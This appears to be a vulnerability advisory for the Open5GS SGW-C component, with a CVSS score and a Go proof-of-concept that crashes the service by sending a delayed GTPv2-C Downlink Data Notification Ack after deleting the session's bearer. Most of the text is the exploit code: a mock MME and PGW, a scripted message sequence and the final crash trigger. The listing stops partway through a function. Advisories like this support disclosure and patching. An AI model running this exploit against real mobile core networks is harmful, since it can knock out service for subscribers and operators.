| Description | ### CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Description
SGW-C can be crashed by sending a delayed GTPv2-C Downlink Data Notification Ack (DDN Ack) on S11 after the related bearer has been removed.
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strconv"
"strings"
"sync/atomic"
"time"
gtpv1msg "github.com/wmnsk/go-gtp/gtpv1/message"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message"
)
// PB3-001 PoC: DDN Ack after bearer deletion triggers ogs_assert(bearer)
// Target: Open5GS SGW-C sgwc_s11_handle_downlink_data_notification_ack
// Flow:
// 1) Act as MME: send CreateSessionRequest to SGW-C (S11) with eNB S1-U F-TEID.
// 2) Act as PGW: respond to SGW-C's S5-C CreateSessionRequest.
// 3) (Optional) Act as MME: send ReleaseAccessBearersRequest.
// 4) Trigger downlink data on SGW-U so SGW-C sends DDN.
// 5) Act as MME: send DeleteSessionRequest (optionally wait for DSR).
// 6) Act as MME: send DDN Ack after delay -> bearer lookup may be NULL -> assert.
func main() {
runPGW := flag.Bool("run-pgw", true, "Start embedded PGW-C mock")
pgwBind := flag.String("pgw-bind", ":2123", "PGW-C listen address (host:port)")
pgwPAA := flag.String("pgw-paa", "x.x.x.x", "IPv4 PAA to return in CSR")
pgwDefEBI := flag.Uint("pgw-ebi", 5, "Default EPS Bearer ID to return if none in CSR")
pgwCtrlTeid := flag.Uint("pgw-ctrl-teid", 0, "PGW S5C TEID to advertise (0=random non-zero)")
pgwUpTeid := flag.Uint("pgw-up-teid", 0, "PGW S5U TEID to advertise (0=random non-zero)")
pgwIgnoreMBR := flag.Bool("pgw-ignore-mbr", false, "Do not respond to ModifyBearerRequest")
dumpSGWS5U := flag.String("dump-sgw-s5u", "", "Write SGW S5-U TEID/IP from CSR to file (optional)")
target := flag.String("target", "", "SGW-C S11 IP (required)")
port := flag.Int("port", 2123, "GTP-C port")
apn := flag.String("apn", "internet", "APN to request")
imsi := flag.String("imsi", "001011234567890", "IMSI to include in CSR")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
sgwTEID := flag.Uint("sgw-teid", 0, "Skip CSR: use this SGW S11 TEID directly")
bearerEbi := flag.Uint("bearer-ebi", 5, "Existing bearer EBI when using --sgw-teid")
pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP for S5/S8 (default: target)")
mmeTEID := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)")
pgwTEID := flag.Uint("pgw-teid", 0, "PGW S5/S8 TEID to advertise in CSR (0=random)")
enbIP := flag.String("enb-ip", "x.x.x.x", "eNB S1-U IPv4 for CSR")
enbTEID := flag.Uint("enb-teid", 0, "eNB S1-U TEID for CSR (0=random non-zero)")
laddr := flag.String("laddr", "", "Local IP to bind")
seq := flag.Uint("seq", 0, "Base GTPv2 sequence number (0=random)")
sendRABR := flag.Bool("send-rabr", true, "Send Release Access Bearers Request before waiting for DDN")
deleteSession := flag.Bool("delete-session", true, "Send Delete Session Request before DDN Ack")
ackDelay := flag.Duration("ack-delay", 2*time.Second, "Delay between delete and DDN Ack")
waitDDN := flag.Duration("wait-ddn", 15*time.Second, "How long to wait for DDN")
waitDSR := flag.Bool("wait-dsr", false, "Wait for DeleteSessionResponse before sending DDN Ack")
waitDSRTimeout := flag.Duration("wait-dsr-timeout", 5*time.Second, "Timeout when waiting for DeleteSessionResponse")
sendDownlink := flag.Bool("send-downlink", false, "Send one GTP-U TPDU to trigger DDN (requires --uaddr and --u-teid)")
uaddr := flag.String("uaddr", "", "SGW-U GTP-U IP for downlink trigger")
uport := flag.Int("uport", 2152, "GTP-U port for downlink trigger")
uTeid := flag.Uint("u-teid", 0, "GTP-U TEID for downlink trigger")
uTeidFile := flag.String("u-teid-file", "", "Read SGW-U S5-U TEID/IP from file (format: teid=0x... ip=x.x.x.x)")
uTeidWait := flag.Duration("u-teid-wait", 2*time.Second, "Wait for u-teid-file or embedded PGW info")
flag.Parse()
if *target == "" {
log.Fatal("Error: --target is required")
}
if *bearerEbi > 255 {
log.Fatalf("bearer-ebi out of uint8 range: %d", *bearerEbi)
}
rand.Seed(time.Now().UnixNano())
conn, localIP := dialGTPv2(*target, *port, *laddr)
defer conn.Close()
var uplaneCh chan uPlaneInfo
if *runPGW {
uplaneCh = make(chan uPlaneInfo, 1)
if *pgwIP == "" {
if host := hostFromAddrMaybe(*pgwBind); host != "" {
*pgwIP = host
}
}
if *pgwIP == "" {
*pgwIP = localIP
}
pgwConn, err := startPGWMock(*pgwBind, *pgwPAA, uint8(*pgwDefEBI), uint32(*pgwCtrlTeid), uint32(*pgwUpTeid), *pgwIgnoreMBR, *dumpSGWS5U, *pgwIP, uplaneCh)
if err != nil {
log.Fatalf("start PGW mock: %v", err)
}
defer pgwConn.Close()
time.Sleep(150 * time.Millisecond)
} else if *pgwIP == "" {
*pgwIP = *target
}
baseSeq := initBaseSeq(uint32(*seq))
mmeTeid := randNonZeroUint32(uint32(*mmeTEID))
pgwTeid := randNonZeroUint32(uint32(*pgwTEID))
enbTeid := randNonZeroUint32(uint32(*enbTEID))
sess := sessionInfo{
sgwTeid: uint32(*sgwTEID),
mmeTeid: mmeTeid,
ebi: uint8(*bearerEbi),
localIP: localIP,
}
seqVal := baseSeq
if sess.sgwTeid == 0 {
log.Printf("[*] Sending CreateSessionRequest seq=0x%x mme-teid=0x%x pgw-teid=0x%x", seqVal, mmeTeid, pgwTeid)
csr, err := buildCSR(seqVal, *imsi, *apn, localIP, *pgwIP, *mcc, *mnc, mmeTeid, pgwTeid, enbTeid, *enbIP)
if err != nil {
log.Fatalf("build CSR: %v", err)
}
if err := sendMessage(conn, csr); err != nil {
log.Fatalf("send CSR: %v", err)
}
sgwTeid, ebi, err := waitCSRResponse(conn, 4*time.Second)
if err != nil {
log.Fatalf("wait CSR response: %v", err)
}
sess.sgwTeid = sgwTeid
sess.ebi = ebi
log.Printf("[+] SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi)
seqVal = nextSeq(seqVal)
} else {
log.Printf("[*] Using provided SGW S11 TEID=0x%x (EBI=%d)", sess.sgwTeid, sess.ebi)
}
if *sendRABR {
if err := sendRABRequest(conn, sess, seqVal); err != nil {
log.Fatalf("send RABR: %v", err)
}
log.Printf("[+] Sent ReleaseAccessBearersRequest seq=0x%x", seqVal)
seqVal = nextSeq(seqVal)
}
if *sendDownlink {
uAddrVal := *uaddr
uTeidVal := uint32(*uTeid)
if uTeidVal == 0 && *uTeidFile != "" {
fileIP, fileTeid, err := readUPlaneInfo(*uTeidFile, *uTeidWait)
if err != nil {
log.Fatalf("read u-teid-file: %v", err)
}
if uAddrVal == "" && fileIP != "" {
uAddrVal = fileIP
}
if uTeidVal == 0 {
uTeidVal = fileTeid
}
}
if (uAddrVal == "" || uTeidVal == 0) && uplaneCh != nil {
ip, teid, err := waitUPlaneInfo(uplaneCh, *uTeidWait)
if err != nil {
log.Fatalf("wait PGW u-plane info: %v", err)
}
if uAddrVal == "" && ip != "" {
uAddrVal = ip
}
if uTeidVal == 0 {
uTeidVal = teid
}
}
if uAddrVal == "" || uTeidVal == 0 {
log.Fatal("send-downlink requires --uaddr/--u-teid, --u-teid-file, or embedded PGW info")
}
if err := sendGTPU(uAddrVal, *uport, uTeidVal); err != nil {
log.Fatalf("send GTP-U: %v", err)
}
log.Printf("[+] Sent GTP-U TPDU to %s:%d teid=0x%x", uAddrVal, *uport, uTeidVal)
}
log.Printf("[*] Waiting for Downlink Data Notification (timeout %s)...", *waitDDN)
ddnSeq, ddnEbi, err := waitForDDN(conn, *waitDDN)
if err != nil {
log.Fatalf("wait DDN: %v", err)
}
if ddnEbi != 0 {
sess.ebi = ddnEbi
}
log.Printf("[+] Received DDN seq=0x%x ebi=%d", ddnSeq, sess.ebi)
if *deleteSession {
if err := sendDeleteSessionRequest(conn, sess, seqVal); err != nil {
log.Fatalf("send DSR: %v", err)
}
log.Printf("[+] Sent DeleteSessionRequest seq=0x%x (linked-ebi=%d)", seqVal, sess.ebi)
seqVal = nextSeq(seqVal)
if *waitDSR {
if err := waitForDSR(conn, *waitDSRTimeout); err != nil {
log.Fatalf("wait DSR: %v", err)
}
}
if *ackDelay > 0 {
time.Sleep(*ackDelay)
}
}
if err := sendDDNAck(conn, sess.sgwTeid, ddnSeq); err != nil {
log.Fatalf("send DDN Ack: %v", err)
}
log.Printf("[+] Sent DDN Ack seq=0x%x teid=0x%x", ddnSeq, sess.sgwTeid)
log.Println("[*] Monitor SGW-C for PB3-001/PB3-002 assertion after delayed DDN Ack.")
}
type sessionInfo struct {
sgwTeid uint32
mmeTeid uint32
ebi uint8
localIP string
}
type uPlaneInfo struct {
ip string
teid uint32
}
func dialGTPv2(target string, port int, laddr string) (*net.UDPConn, string) {
var lp *net.UDPAddr
if laddr != "" {
var err error
lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(laddr, "0"))
if err != nil {
log.Fatalf("resolve laddr: %v", err)
}
}
rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(target, fmt.Sprintf("%d", port)))
if err != nil {
log.Fatalf("resolve raddr: %v", err)
}
conn, err := net.DialUDP("udp", lp, rp)
if err != nil {
log.Fatalf("dial udp: %v", err)
}
localIP := ""
if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil {
localIP = udpAddr.IP.String()
}
if localIP == "" {
log.Fatal("local IP unknown (set --laddr)")
}
log.Printf("[*] Target %s (local %s)", rp, localIP)
return conn, localIP
}
func initBaseSeq(v uint32) uint32 {
if v != 0 {
return v
}
seq := rand.Uint32() & 0x00ffffff
if seq == 0 {
seq = 1
}
return seq
}
func nextSeq(v uint32) uint32 {
v++
if v == 0 || v > 0x00ffffff {
return 1
}
return v
}
func randNonZeroUint32(v uint32) uint32 {
if v != 0 {
return v
}
r := rand.Uint32()
if r == 0 {
return 1
}
return r
}
func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, mmeTEID, pgwTEID, enbTEID uint32, enbIP string) (*gtpv2msg.CreateSessionRequest, error) {
if loca |
|---|